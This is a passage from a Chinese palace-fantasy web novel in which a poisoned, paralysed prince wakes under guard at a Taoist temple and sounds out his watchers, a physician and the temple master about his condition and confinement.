周昕阳立刻屏住了呼吸,将所有的惊惶和呼喊死死压在喉咙里,连眼睛也重新闭上,只留下一条极细的缝隙,借着窗棂透入的微光,警惕地注意着门口的动静。
“话是这么说,可陛下那边催得紧,要咱们留神任何异常。毕竟……”尖细嗓音顿了顿,声音压得更低,带着一种讳莫如深的意味,“毕竟那晚东宫的事,还有王爷脑子里那东西……邪性得很。万一有点什么变化,咱们可担待不起。”
“变化?”沉稳声音似乎不以为然,“能有什么变化?无非是毒发攻心,伤重不治罢了。陛下仁厚,念及父子之情,尽力救治便是。至于其他的……咱们做好分内事就行,不该打听的别打听。”
“也是……唉,就是这差事熬人,日夜守着,提心吊胆的。你说,王爷他……真的什么都不知道?不是听说他前段时间,去了一趟地下通道,碰见了不该碰见的东西……”
“噤声!”沉稳声音陡然严厉起来,“这事也是你能议论的?不要命了!记住,咱们什么都不知道,什么都没看见,只负责确保王爷安静休养,直到陛下有新的旨意。其他的,自有该操心的人去操心。”
门外陷入了短暂的沉默,只有衣物摩擦和极其轻微的踱步声。
周昕阳躺在冰冷的床上,被子下的双手,已紧紧握成了拳头,指甲深深掐入掌心,带来尖锐的疼痛,帮助他维持着表面的平静,和脑海中翻江倒海般的惊涛骇浪。
果然!
父皇对他的“保护”,远非表面上那么简单!
这分明是最高级别的监视和软禁!
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>李公公亲自过问,侍卫言语间透露出对金色印记的忌惮和讳莫如深,甚至对他伤重不治的可能性都心知肚明,仿佛那只是一个可以接受的、预料之中的结果!
而他们提到的里面那两位高人……
是看守,是监视,还是……别的什么?
比如,防止他变化?
或者,确保他安静地走向那个预期的结果?
自己这双腿突然失去知觉,是否也与这严密的监视和某种不为人知的安排有关?
是单纯的毒发后遗症,还是……有人不希望他再乱动、再知道更多?
冷汗,再次浸湿了鬓角。
周昕阳感到一阵彻骨的寒意,比双腿的麻木更让他心冷。
现在的现实,已经让他有些看不透了。
根本不是喘息的地方,甚至不如梦境之中灵活,可是由于他的失误,将**的身体,带回来了现实。
打破梦境循环,对现在的他来说,简直是一场噩梦。
他该怎么自救呢?
此刻的他,陷入了一个更加复杂、更加危险的囚笼。身体失去了部分掌控,外面是父皇高度戒备的监视,暗处是神秘势力蠢蠢欲动的阴影,脑中还有一颗不知何时会引爆的印记**。
而他现在,连下床走到门口,都做不到。
怎么办?
装睡?
等待?
等待毒性彻底爆发,或者等待某个未知的安排降临?
不!
绝不!
周昕阳眼中闪过一丝狠厉与决绝。
梦境或许是虚幻的,但梦中获取的信息、遭遇的危机、锻炼出的意志,却是真实的。
他“知道”了地下石室的秘密,知道了赤阴藤和毒草的线索,知道了那断裂的令牌和诡异的符号,知道了虫群和阴影的存在……这些,或许就是他在现实绝境中,唯一能抓住的稻草!
双腿麻木,或许是毒发,或许是印记反噬,也或许是某种警告。
但无论如何,他不能坐以待毙!
他需要信息,需要了解自己身体的真实状况,需要知道外面的确切情况,需要找到能够信任、或者至少能够利用的人或渠道。
首先,必须确认里面那两位高人的身份和目的。
其次,必须想办法与外界取得联系,至少,要让人知道他醒了,而且……出了状况。
一个计划,在周昕阳心中迅速成型。
他缓缓放松了紧握的拳头,调整呼吸,让自己看起来依旧处于沉睡之中,只是眉头微微蹙起,仿佛陷入了什么不安的梦境,喉咙里发出极其轻微的、痛苦的**。
这**声很微弱,但在寂静的深夜,在门外那两个全神贯注留意室内动静的守卫耳中,却清晰可闻。
门外的低语声瞬间停止。
紧接着,是门闩被轻轻拉动的声音。
“吱呀——”
沉重的木门,被推开了一道缝隙。
第150章 试探与苏醒
更深夜半,玄机观的静室里静得能听见烛火燃烧时细微的噼啪声。
窗棂外的夜色浓如化不开的墨,只有一缕极淡的月光勉强穿透云层,在地面投下几道歪斜的窗影。
就在这死寂之中,一道昏黄的光线顺着门缝缓缓扩大,像一柄被缓缓抽出的利刃,斜斜地切**内,将满室的昏暗硬生生切割成两半。
光影交错的边缘,无数细微的尘埃在光柱中疯狂舞动,像是被惊扰的星点。
那光线落在冰冷的青石地面上,又反弹起微弱的光晕,勉强照亮了室内简陋的陈设——一张铺着素色锦被的木床,一张缺了角的旧木桌,两把椅腿磨得发亮的木椅,再无他物。
最先探入这方光影的,既不是人影,也不是脚步声,而是一柄拂尘的银白长须。
须**纤细如蚕丝,却在微光中泛着冷冽的金属光泽,每一根须**都笔直挺立,透着股生人勿近的寒意。
拂尘的木柄藏在门外的阴影里,只露出这一截令人心悸的须**,在空气中微微颤动了一下,似乎在探查室内的动静。
那颤动极其轻微,却精准地打破了室内的宁静。
须**扫过空气时,带起一丝极淡的檀香,不是观中寻常的安神香,而是一种带着些许陈腐气息的古怪香气,顺着门缝悄无声息地弥漫开来。
紧接着,两个穿着青色道袍的身影,如同两道被风吹进来的影子,无声无息地侧身闪了进来。
他们的道袍料子粗糙,却浆洗得板正,领口和袖口绣着细小的太极纹路,在昏黄的光线下若隐若现。
两人身形都异常瘦高,肩膀削窄,四肢修长,行走时腰杆挺得笔直,却没有半分僵硬感,动作轻捷得仿佛踩在棉花上,落地时连一丝微不足道的声响都没有,几乎不似凡人。
走在前面的道士面容清癯,颧骨微微凸起,下巴上留着三缕稀疏的胡须,颜色偏黄,一看便知常年清修,不事俗务。
他的眼睛格外狭长,眼尾微微上挑,瞳孔是极深的黑色,在昏暗中像是两颗浸在墨汁里的石子,没有半分光亮。
跟在后面的道士则相对年轻些,脸上还带着几分青涩,只是眉眼间透着与年龄不符的警惕,双手始终拢在道袍袖子里,指尖似乎正扣着什么法器,随时准备应对变故。
两人没有立刻看向床榻,仿佛床榻上的人根本不值得他们第一时间关注。他们的目光如同鹰隼捕猎时般锐利,一左一右,迅速扫过静室的每一个角落——桌底积着的薄薄灰尘,墙角蛛网的残破痕迹,屋顶横梁的榫卯接口,甚至连烛台底座与桌面接触的缝隙,都没放过。
那年轻些的道士视线扫过烛台时,眉头几不可察地蹙了一下。烛台上的蜡烛已经燃了大半,烛芯处结着一颗黑色的烛花,火焰跳跃得有些不稳,显然是被刚才开门时涌入的气流惊扰到了。
他下意识地抬了抬右手,似乎想用拂尘稳住火焰,却被身旁的年长道士用眼神制止了。
年长道士微微摇头,随即反手将门重新合上,只留下一条不足一指宽的细缝透气。
关门的动作同样轻得不可思议,门轴转动时没有发出丝毫吱呀声,仿佛这扇门常年被油脂浸润,早已磨合得完美无缺。
做完这一切,他便守在门后,背靠着冰冷的门板,目光重新落回室内,像一尊沉默的石像。
另一人则缓步向床榻走来,步伐沉稳得惊人,每一步都精准地踩在地面光影的交界处,仿佛早已丈量过这里的每一寸距离。他的道袍下摆随着步伐轻轻摆动,却始终没有触碰到地面,更没有带起半点尘埃。
床榻上,周昕阳的心跳猛地漏了一拍,随即如同擂鼓般疯狂跳动起来。
心脏撞击胸腔的声音在这极致安静的室内显得格外清晰,他甚至担心这声音会被走近的道士听见。
一股寒意从脊椎窜起,顺着脖颈蔓延到后颈,让他的汗**都忍不住竖了起来。
他强行压下心底的慌乱,调动起全身的意志力,死死控制着呼吸节奏。
吸气时,胸腔只微微起伏半分,呼气时,气息绵长而微弱,几乎与睡着时别无二致。
他能感觉到自己的指尖有些发凉,手心已经渗出了细密的冷汗,却不敢有丝毫动弹,只能任由冷汗顺着指缝滑落,浸湿身下的锦被。
他的眉头依旧微微蹙着,眉心挤出一道浅浅的纹路,眼睫紧闭,长长的睫毛在眼睑下方投下一小片阴影,仿佛正沉浸在无法挣脱的梦魇里,满脸都是痛苦与挣扎。
喉咙里又逸出一丝更轻、更压抑的**,细若蚊蚋,像是被重物压迫到极致时无意识的喘息。
那**声里带着几分沙哑,几分脆弱,恰到好处地演绎着一个重伤昏迷之人在梦中的煎熬。
同时,搭在身侧的右手手指,以一种几不可察的幅度动了一下。指尖轻轻蜷缩了半分,又迅速放松,动作自然得就像睡梦中的本能反应。
这是他目前上半身唯一能做出的、最自然的动作,也是他刻意露出的破绽——一个显示自己可能即将醒转的细微信号。
他需要试探这些道士的反应,需要知道他们对自己的状态究竟有多敏锐的感知。
果然,走近床边的年长道士脚步骤然顿住。
那停顿极其突兀,却又收放自如,仿佛他的双脚根本没有离开地面,只是瞬间凝固在了原地。
他停在离床榻约三步远的地方,不再靠近分毫,显然是对周昕阳的状况保持着极致的谨慎。
这个距离不远不近,既能清晰观察床榻上的动静,又能在突发状况时第一时间做出反应,可见其经验之丰富。
昏黄的光线恰好勾勒出他瘦削的侧脸,鼻梁高挺,下颌线锋利。
他的眼神平静无波,就像一潭深不见底的古井,没有丝毫情绪波动,却藏着极致专注的审视,目光牢牢锁在周昕阳的面容和身体上,不放过任何一个细微的变化——无论是呼吸的频率,还是眼睫的颤动,甚至是皮肤的细微起伏。
片刻之后,那道士终于低声开口,声音平淡得像一潭死水,没有半分起伏,听不出任何情绪,像是在陈述一个与自己毫不相干的事实:“气息……似乎有些不稳。”
他的声音不高,却带着一种奇异的穿透力,在寂静的室内缓缓扩散开来。每一个字都清晰地传入周昕阳耳中,让他的心脏又紧绷了几分。
“安神香的效力还未散尽,或许只是梦魇惊扰。”守在门边的年轻道士沉声回应,声音同样平淡无波,只是目光始终没有离开过周昕阳的身影,仿佛担心他下一秒就会猛然坐起。
他顿了顿,补充道:“不过,王爷脉象奇特,体内那东西与毒性纠缠不清,偶有异动也属正常。”说“那东西”三个字时,他的语气微微一顿,带着一丝难以察觉的忌惮,仿佛这三个字本身就带着某种不祥的力量。
“只要不真的醒转,便无大碍。”年轻道士再次开口,语气笃定,像是在给自己打气,又像是在提醒身旁的同僚。
那“东西”——
周昕阳心中一沉,如同被一块巨石砸中,瞬间就明白他们指的是什么——正是自己脑内那枚神秘的金色印记所散发的气机。
这印记自出现以来,便一直与他的经脉相连,如今又与体内的毒性纠缠在一起,没想到竟然被这些道士察觉了。
他们果然知道!
这个认知让周昕阳的心底泛起一阵寒意,后背的冷汗又多了几分。
而且听这语气,他们留在这里的职责之一,就是“观察”这枚印记气机的变化?
甚至可能在必要时进行压制?
周昕阳的思维飞速运转,无数念头在脑海中交织碰撞。
他强行压下心底的寒意,让自己的思绪保持清明。
从这两个道士的态度和言行来看,他们绝非寻常的看守。
寻常看守只会关注他是否逃跑、是否安分,绝不会如此细致地观察他的气息变化,
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更不会知晓他体内如此隐秘的状况。
他们更像是玄微**特意派来的,或是父皇默许留下的,精通探查或压制“异状”的道门高人。
周昕阳越想越觉得合理,玄微**身为玄机观观主,本就擅长这类探查气机、**邪祟的法门,而父皇对自己的状况一直颇为关注,派这样的人来监视,也在情理之中。
最让周昕阳心惊的是,他们对自己的身体状况了如指掌,甚至能精准判断他是否真的“醒转”。
这意味着,任何一点刻意的伪装,都可能被他们轻易识破。
现在继续装睡,或许能暂时蒙混过关。
可周昕阳转念一想,又觉得不妥——他们既然能察觉到自己的气息不稳,甚至可能通过某种道门秘法感知到体内气机和毒性的状态,那自己双腿的异常,他们是否也已经知晓?
是故作不知,想看看自己的反应?
还是真的尚未察觉?
这个问题像一根刺,扎在周昕阳的心底,让他坐立难安。
他必须冒险试探。
只有试探出这些人的底线和意图,他才能做出下一步的计划。
至少要确定,自己“醒了”之后会面临什么,有没有机会向外界传递出信息。
打定主意后,周昕阳继续维持着“痛苦昏睡”的姿态,呼吸却刻意稍稍加重了一些。
吸气时,胸腔的起伏比之前明显了半分,呼气时,带着一丝细微的喘息,像是在梦魇中呼吸困难。
紧接着,他的眼睫开始轻微颤动,频率由慢到快,像是在梦魇中拼命挣扎,想要挣脱某种无形的束缚。
长长的睫毛在眼睑下扫动,带动着眼周的皮肤微微起伏,模样看起来格外痛苦。
放在被子外的右手手指,再次微微蜷缩,这次的幅度比刚才稍大了一些,指尖甚至轻轻划过了锦被的布料,留下一道浅浅的痕迹。
床边的年长道士目光立刻凝聚在他的手指上,眼神微微一凝,狭长的眼眸中闪过一丝锐利的光芒。
他的身体微微前倾了半分,姿态依旧沉稳,却多了几分警惕,显然是被周昕阳的这些动作引起了注意。
“要醒了?”门口的年轻道士声音里多了一丝不易察觉的警惕,双手在袖子里微微收紧,指节泛白,显然已经做好了应对突发状况的准备。
床边的年长道士没有立刻回答,而是缓缓俯身,身体前倾,几乎与地面呈四十五度角,似乎想凑得更近一些,仔细观察周昕阳的状态。
他的动作很慢,每一个细微的举动都带着极致的谨慎,生怕惊扰到“即将醒转”的周昕阳。
周昕阳能感觉到那道士的气息越来越近,带着一股淡淡的、混合着檀香和草药的味道。那气息落在他的脸颊上,让他的皮肤微微发痒,却不敢有丝毫反应。他紧紧闭着眼睛,屏住呼吸,等待着最佳的时机。
就在那道士靠近到离周昕阳不足一尺,鼻尖几乎要碰到他的额头时——
周昕阳紧闭的双眼,猛地睁开!
眼神先是一片迷茫、涣散,瞳孔放大,仿佛刚从深沉的梦魇中惊醒,尚未完全适应室内的光线,视线无法聚焦。
他的眼球在眼眶里缓缓转动了两下,带着几分呆滞,几分茫然,像是在努力辨认周围的环境。
随后,那涣散的目光缓缓移动,最终“茫然”地对上了近在咫尺的道士眼眸。四目相对的瞬间,周昕阳能清晰地看到道士瞳孔中的自己——面色苍白,嘴唇干裂,眼神虚弱,完全是一副重伤未愈的模样。
“呃……”周昕阳喉咙里发出一声含糊干涩的低吟,声音沙哑得像是被砂纸打磨过,带着浓浓的疲惫和痛苦。
他的眉头因为不适紧紧拧起,眉心的纹路变得更深,眼神里恰到好处地流露出虚弱、困惑,还有一丝不易察觉的惊惧,仿佛突然看到陌生人闯入自己的房间,下意识地感到害怕。他张了张干裂起皮的嘴唇,艰难地吐出两个字:“水……水……”
第151章 苏醒
那声音微弱得几乎听不清,嘴唇因为缺水而紧紧粘在一起,每一次开合都显得异常艰难。他的左手微微抬起,想要去抓什么,却因为虚弱而无力地垂下,落在锦被上,发出一声轻微的声响。
这完全是久睡初醒、重伤未愈之人该有的模样,没有半分破绽。
床边的道士显然没料到他会醒得如此“恰到好处”,动作微微一滞,眼中闪过一丝极快的光芒。
那光芒里有审视,有评估,有警惕,唯独没有半分意外或关切,仿佛周昕阳的醒来只是一个需要记录的事件,而非一个需要关怀的病人。
他迅速收敛了眼中的情绪,直起身,向后退了半步,重新拉开安全距离。
这个动作干净利落,没有丝毫拖泥带水,既保持了与周昕阳的距离,又能随时观察他的动静。
“王爷醒了。”他语气平淡地陈述,仿佛在说一件再寻常不过的事情,随即转向门口的同僚,声音依旧没有半分起伏:“去禀报**,并请孙太医过来一趟。”
顿了顿,他似乎才想起周昕阳刚才的请求,补充道:“再取些温水来。”
门口的年轻道士看了周昕阳一眼,目光在他苍白的脸上停留了片刻,又扫过他无力垂落的左手,没再多说一个字,转身轻轻拉开门,无声地退了出去。
他的动作依旧轻捷,关门时同样没有发出任何声响,仿佛从未出现过一般。
房门被重新轻轻掩上,室内再次恢复了昏暗。
只有那盏即将燃尽的蜡烛,依旧在角落里跳跃着微弱的火焰,将室内的光影映照得忽明忽暗。
只剩下床边这位年长的道士,如同沉默的雕塑般伫立在原地,目光平静地落在周昕阳脸上,眼神里的审视从未消失。
他的双手拢在道袍袖子里,身形挺拔如松,仿佛要一直这样站到天荒地老。
周昕阳心中稍定。
从目前的情况来看,这些人至少还维持着表面的礼数,会去通知玄微**和孙太医,这暂时是好事。
这说明他们暂时没有对自己不利的打算,或者说,在玄微**和孙太医到来之前,他们不会轻易动手。
他艰难地转动眼珠,视线缓慢地扫过室内的环境。
先是落在床边道士身上,眼神里带着几分茫然和警惕,仿佛在确认这个陌生人的身份;然后又扫过简陋的木桌和木椅,扫过墙角的蛛网,最后茫然地落回自己的身上。
随即,他像是想起了什么,又像是身体本能地感到不适,试图用手臂撑起身体。
他的右臂微微用力,肌肉绷紧,手臂颤抖着,勉强将上半身支起了一点点。
可就在这时,他的脸色突然一白,眉头皱得更紧,像是被什么剧烈的疼痛侵袭,发出一声压抑的痛哼,上半身又无力地倒回床上。
他的目光下意识地向下移,落在被子下双腿的位置。
下半身依旧纹丝不动,没有丝毫知觉,就像不属于自己的躯体一般。
他脸上适时地露出更明显的困惑,眉头紧锁,眼神里充满了不解,还有一丝刚刚萌芽的、不敢置信的慌乱。
那慌乱不是装出来的,而是掺杂了几分真实的恐惧——无论如何,双腿失去知觉,对任何人来说都是沉重的打击。
周昕阳再次低头,死死盯着被子下双腿的轮廓,眼神里的慌乱越来越浓。
然后,他又抬头看向那道士,嘴唇翕动了几下,似乎想说什么,却因为虚弱和惊疑,喉咙里只发出一阵含糊的呜咽声,发不出完整的声音。
“王爷稍安。”道士终于再次开口,声音依旧没什么情绪,像是在念一段早已背熟的经文。
他顿了顿,缓缓说道:“您重伤昏迷多日,体内余毒未清,又受那……异种气机侵扰,肢体暂时麻痹,乃是正常反应。”说异种气机四个字时,他的语气再次出现了细微的停顿,眼神里闪过一丝不易察觉的忌惮。
“孙太医与**正在设法,王爷不必过于忧惧。”他补充道,语气依旧平淡,却带着一种不容置疑的笃定。
周昕阳敏锐地捕捉到了他语气中那微妙的停顿——“那……异种气机”。
他心中冷笑,果然,这些人对自己脑内的金色印记讳莫如深,连提及都显得格外谨慎。
而且听这道士的意思,他们显然将这枚金色印记视为自己身体异常的主因之一,或许,这也是他们在此严密监视的重点。
周昕阳的思绪飞速运转,试图从道士的话语中捕捉更多有用的信息。
“多……多久了?”周
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昕阳积攒了一点力气,沙哑着嗓子,费力地吐出几个字。
每一个字都像是从喉咙里挤出来的,带着浓浓的疲惫和虚弱,眼神里满是急于了解情况的不安。
“王爷昏迷已经有数月了。”道士面无表情地回答,语气没有丝毫波澜。
数月!
周昕阳心中一震,瞳孔猛地收缩了一下。
他原本以为自己昏迷了不过两三天,没想到竟然已经过去了数月,比他预想的要长得多。
这个认知让他的心底泛起一阵寒意——数月的时间,足以发生太多的事情,外界的局势或许已经发生了天翻地覆的变化。
更为恐怖的是,这岂不是说,在现在这个现实世界中,他完全就是始终处在昏迷状态?
从未返回过自己的封地?
那关于胡杨林客栈、关于阿月、关于萨迪克商会……都成了梦幻泡影?
这一次打破梦境循环,完全改变了整个时间线的走向?
这岂不是说,曾经的努力,全部化作了泡影?
“我……我的腿……”周昕阳终于积蓄了足够的力气,声音里带着明显的颤抖和恐惧,语气中充满了绝望。
他再次尝试挪动双腿,用尽全身的力气去感知下肢的存在,可被子下的轮廓依旧没有任何变化,没有丝毫知觉传来。
他猛地抬头,看向道士,眼神里满是求助般的急切,像是抓住了最后一根救命稻草:“动不了……一点感觉都没有……它是不是……是不是再也好不了了?”
道士平静地看着他,眼神深处似乎掠过一丝不易察觉的波动。
那波动极其细微,快得让人无法捕捉,像是同情,又像是某种更复杂的审视,或许还有一丝惋惜,却又被他迅速掩盖下去。
他缓缓开口,语气依旧平淡:“王爷体内情况复杂,毒性与异气纠缠,侵蚀经脉窍穴,尤以下肢为甚。经脉受损严重,气血无法流通,肢体自然失去知觉。”
“孙太医已施针用药,稳住心脉肺腑,遏制毒性上行,然此症……非寻常药石可速解。”他顿了顿,语气微微加重了几分,“王爷需静心休养,切勿妄动真气,亦不可情绪激动,以免引动那异种气机,加剧伤势。届时,恐连现有局面都无法维持。”
第152章 治病
周昕阳听出了他话里的弦外之音。
说白了,就是你的腿瘫了,是体内的毒和“那东西”搞的,一时半会好不了。
你老实躺着别乱动,也别胡思乱想,更别试图调动真气,否则“那东西”发作起来,不仅腿好不了,小命都可能保不住。
这既是安抚,更是赤裸裸的警告。
周昕阳心中冷笑,面上却露出更加绝望的神情,眼神黯淡下去,像是被这残酷的现实彻底击垮了。
“父皇……父皇他知道吗?”周昕阳垂下眼,长长的睫毛掩盖住眸中的情绪,声音低了下去,语气里带着恰到好处的孺慕与不安,像是一个受了委屈的孩子,本能地想寻求父亲的庇护。
“陛下甚为关切,每日必问王爷病情。”道士顿了顿,语气依旧平淡无波,“只是国事繁忙,且……”
他故意停顿了一下,制造出一种欲言又止的氛围,才继续缓缓说道:“陛下有旨,王爷乃为邪物所侵,需在玄机观静地,由玄微**亲自调理**,祛除邪秽,方可保无虞。”
“在王爷痊愈之前,不宜见外人,亦不宜劳神。”他补充道,语气斩钉截铁,没有丝毫转圜的余地。
不宜见外人……
周昕阳心中冷笑更甚。这哪里是不宜见外人,分明是彻底断绝他与外界的联系,将他软禁在这玄机观中。连父皇都成了不宜见的外人之一,这“保护”真是严密到了骨子里,也残酷到了骨子里。
他心中清楚,父皇这样做,或许是真的担心他体内的“邪物”扩散,或许是想借助玄微**的力量彻底掌控自己体内的那枚金色印记,又或许,还有其他不为人知的阴谋。
无论如何,自己现在都成了一个被彻底隔绝的“囚徒”。
“我二姐……二公主呢?”周昕阳像是突然想起什么,猛地抬起头,眼神里流露出对亲人的依赖和急切,“我记得……我好像听到她的声音……就在我昏迷之前,她是不是来看过我?”
他故意说得模糊,既像是真的记不清了,又像是在努力回忆。
这样说,既是试探,也想确认周灵薇是否真的曾在他昏迷时出现过,甚至……是否与救他有关。
梦境最后那声熟悉的呼喊,始终在他的脑海中回荡,让他无法确定是真实还是幻觉。
道士的眼神几不可察地闪烁了一下,瞳孔微微收缩,随即又恢复了平静。
这个细微的变化没有逃过周昕阳的眼睛,让他心中更加确定,周灵薇的事情绝不简单。
道士的语气依旧平稳无波,仿佛什么都没有发生:“灵薇公主殿下前两日曾来探望,但王爷当时昏迷未醒,未能相见。”
“殿下忧心忡忡,在殿外守候了许久,但陛下有旨,公主亦不便久留,稍坐片刻便回宫了。”他顿了顿,补充道,“临走前嘱托观中好生照料王爷,切勿怠慢。”
回宫了?
不便久留?
周昕阳的心沉了沉。
二姐果然被限制了接近自己,连进来看一眼都不被允许。
而且道士的话避重就轻,完全没提及救他之事,甚至连周灵薇是否进入过这间静室都没有说清楚。
难道梦的最后,那一声呼喊真的只是自己的错觉?
还是说,其中另有隐情,道士在刻意隐瞒?
周昕阳的心中充满了疑虑,却知道现在不是追问的时候,只能暂时压下心底的疑问。
他还想再问些什么,比如东宫那晚的具体情况,比如外界的局势,可就在这时,门外再次传来了脚步声。
脚步声比之前更轻,却能清晰地分辨出不止一人,显然是之前离开的年轻道士带着人回来了。
“吱呀——”
房门被轻轻推开,发出一声极其轻微的声响。这次没有再留缝隙,而是被完全推开,让更多的光线涌**内,照亮了门口的几个人影。
先进来的是之前离开的那名年轻道士,他手中端着一个粗陶碗,碗沿还冒着淡淡的热气,里面盛着半碗温水。他的步伐依旧轻捷,走到床榻边,将碗递到周昕阳面前,动作小心,却依旧没什么表情。
紧跟在他身后的,是一位穿着太医署官服的老者。
老者面容清癯,蓄着一撮花白的山羊胡,额头布满了细密的皱纹,眼神里带着浓浓的疲惫,却又透着医者特有的凝重。他的官服有些褶皱,显然是匆忙赶来的,正是太医院的孙太医。
孙太医身后,是一位穿着月白道袍的老者。
老者身穿深蓝色监正法袍,手持拂尘,腰间系着一枚玉牌,上面刻着“玄机”二字,雪白的长眉下,一双眼睛精光内蕴——正是玄机观观主,玄微**。
孙太医一进门,眉头就紧紧蹙了起来,目光立刻落在周昕阳的脸上,仔细打量着他的气色,脸上的凝重更甚。显然,周昕阳苍白的面色和虚弱的状态,让他颇为担忧。
玄微**则神色平静,眸光清冷如古井无波,仿佛世间万物都无法引起他的情绪波动。
他的目光缓缓扫过室内,最后落在周昕阳身上时,似乎有极淡的、几乎无法捕捉的微光一闪而逝,随即又恢复了平静。
“王爷醒了?”孙太医快步上前,语气中带着一丝如释重负,更多的却是难以掩饰的严肃。
他没有丝毫耽搁,直接走到床榻边,先是仔细观察了周昕阳的面色、眼神,又伸出手,示意周昕阳伸手,准备诊脉。
玄微**则没有靠近,而是停在门内三步之处,静静站立着。
他的身形挺拔如
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竹,双手负在身后,眼神平静地注视着床榻方向,仿佛只是一个置身事外的旁观者。
可周昕阳能清晰地感觉到,一道温和却难以抗拒的无形力量,如同水波般悄然扫过自己的身体。
那力量带着一种奇异的探查意味,轻柔却不容抗拒,从头到脚,仔细地“扫描”着他的每一寸躯体。
这力量尤其在下腹和头颅部位,略微停留了一瞬,停留的时间虽然短暂,却让周昕阳的心底泛起一阵寒意。
他能感觉到,这股力量正在探查自己体内的气机变化,尤其是脑内那枚金色印记的状态。
这股力量不带恶意,却带着洞察一切的清明,让他有种被从里到外彻底看透的错觉。
更让他心惊的是,脑中的金色印记甚至因此微微悸动起来,带来一丝轻微的刺痛,仿佛在抗拒这股力量的探查。
周昕阳压下心中的惊疑和不适,顺从地伸出手腕,将手臂搭在床沿的脉枕上。
他的手臂依旧有些颤抖,显示出身体的虚弱,目光与孙太医接触时,尽量让自己的眼神显得无助、茫然,带着对自身状况的恐惧和对医者的依赖。
孙太医三指搭上他的腕脉,凝神细诊。他的手指干枯却有力,指尖微微用力,感受着周昕阳脉搏的跳动。
他的眉头紧紧皱着,山羊胡随着呼吸微微颤动,眼神里渐渐闪过一丝困惑和凝重,仿佛发现了什么棘手的问题。
片刻之后,他没有松开手指,反而换了一只手,再次诊脉。这次他的神情更加专注,甚至闭上了眼睛,仿佛在仔细分辨脉搏中传递出的每一个细微信息。
静室内再次陷入寂静,只有烛火燃烧的噼啪声和几人的呼吸声。
良久,孙太医才缓缓松开手指,轻轻叹了口气,睁开眼睛,眼神里的凝重更甚。
他摇了摇头,脸上露出一丝无奈和担忧。
“王爷脉象……依旧沉滞淤塞,尤以肝肾二脉、督脉为甚。”孙太医缓缓说道,语气沉重得像是压了一块巨石,“阴寒毒性与那异种气机盘踞下焦,深入骨髓经脉,气血不通,肢体失养,故有麻木不仁之症。此症凶险,比老夫预想的还要棘手。”
“此前七日,老夫与**已用金针渡穴、汤药内服外敷之法,勉强护住王爷心脉肺腑,遏制毒性上行,保住了王爷的性命。”他顿了顿,语气更加沉重,“然此毒此气,纠结甚深,相互缠绕,如同附骨之疽,非一时可解。王爷如今醒来,已是万幸,但需知此症……急不得,也躁不得。”
“孙太医,我的腿……还能恢复吗?”周昕阳声音颤抖,再次问出了这个最让他关心的问题。他的眼神里充满了期盼,像是在等待最后的判决,语气中的绝望几乎要溢出来。
第153章 孙太医
孙太医看了他一眼,眼中掠过一丝不忍,却还是如实说道:“王爷,毒侵经脉,非比寻常外伤。经脉受损易,修复难,更何况还有异种气机从中作梗。”
“若能徐徐图之,以金针疏导经脉,以药力温养气血,假以时日,或有疏通之望。”他的语气并不确定,带着几分犹豫,“然……”
他说到这里,下意识地看向旁边沉默的玄微**,似乎在征求他的意见,得到玄微**微微点头的示意后,才继续说道:“然王爷脑中那异种气机,与毒性似有勾连。每每药力或针气欲要下行通络,便易引动其异动,反过来阻碍气血运行,甚至会加重经脉损伤,反伤自身。”
“此乃最大之碍。故而,欲治下肢,需先稳此异气。”孙太医语气肯定,“异气不稳,一切皆是空谈。”
“然此气……甚为古怪,老夫行医数十载,闻所未闻,见所未见。”他摇了摇头,脸上露出深深的困惑,“**以道门秘法,亦只能暂时将其封镇,难以根除。这异气究竟为何物,老夫至今未能探明。”
封镇?
周昕阳心中一动。
果然,玄微**已经出手压制了自己脑中的金色印记气机。
这或许就能解释,为何自己还能保持清醒,而没有在梦境结束后被印记彻底侵蚀。
但同时,这种封镇,是否也加剧了他对下肢感知的断开感?
毕竟金色印记的气机与自己的经脉相连,强行封镇,很可能会影响到全身的气血运行。
周昕阳的心中充满了疑问,却不敢表露分毫。
“难道……就一点办法都没有吗?”周昕阳的声音低了下去,带着浓浓的绝望,眼神黯淡无光,仿佛被彻底打入了深渊。他的手指微微蜷缩,紧紧抓住身下的锦被,显示出内心的痛苦和不甘。
“办法……也不是完全没有。”孙太医沉吟片刻,眼神里闪过一丝思索,“但需满足两个条件之一。其一,需寻到**的确切配方,乃至下毒之人,知晓**的来源和特性,方有对症下药、彻底拔毒之可能。”
“其二,亦或……寻到能化解或引导王爷脑中异气之法,使其不再与毒性相冲,甚至能借助异气的力量,助药力行散,或许能事半功倍。”
“然此二者,皆非易事。”他语气沉重地补充道,“下毒之人隐匿极深,**配方更是机密中的机密,寻之如同大海捞针。而那异种气机太过诡异,化解引导之法,更是闻所未闻,连**都束手无策。”
玄微**此时终于开口,他的声音清越平和,如同山涧清泉流淌,却带着一种不容置疑的威严:“泽川王,你体内情形特殊,牵涉甚深,非寻常病症可比。”
“陛下有旨,令你在本观静养。当务之急,是稳住伤势,徐徐图之,切不可急于求成。”他的目光落在周昕阳身上,带着一丝警示,“外间诸事,自有陛下圣裁,无需你费心。你需平心静气,勿思勿虑,安心配合调理。”
他的语气陡然转沉,带着一丝不易察觉的威慑力:“尤其不可妄动真气,亦不可强神探查体内异气,以免触动封印,引动异气反噬。届时,不仅下肢难保,性命亦会堪忧,神仙难救。”
这既是医嘱,也是赤裸裸的警告,更是再次强调了禁足和隔绝的旨意。
周昕阳心中清楚,玄微**这是在告诫自己,乖乖听话,不要妄图反抗,否则只有死路一条。
周昕阳垂下眼帘,掩去眸中翻涌的情绪,长长的睫毛掩盖住眼底的不甘和愤怒,低低应了一声:“孤明白,有劳**与孙太医费心。昕阳定会安心休养,配合调理。”
他的声音带着浓浓的疲惫和虚弱,仿佛因得知“有希望”而稍微振作了一点,却又因现实的困境而显得无力。
这个反应恰到好处,既不会显得过于顺从而引起怀疑,也不会显得过于抗拒而触怒对方。
旁边的年轻道士适时地将手中的粗陶碗递到他的唇边,周昕阳微微张开干裂的嘴唇,小口啜饮着温水。
温水滑过干涩的喉咙,带来一丝温润的慰藉,缓解了喉咙的刺痛,也给了他短暂的思考时间。
周昕阳一边喝水,一边在心中快速盘算着。
目前的情况对自己极为不利,双腿瘫痪,行动受限,又被严密监视,与外界彻底隔绝。
玄微**和孙太医的话虽然没有把话说死,但显然,自己的伤势恢复希望渺茫,而且很可能会被长期软禁在这里。
孙太医又叮嘱了几句饮食起居的注意事项,强调要以清淡易消化的食物为主,不可食用辛辣刺激、生冷油腻之物,更不可饮酒。
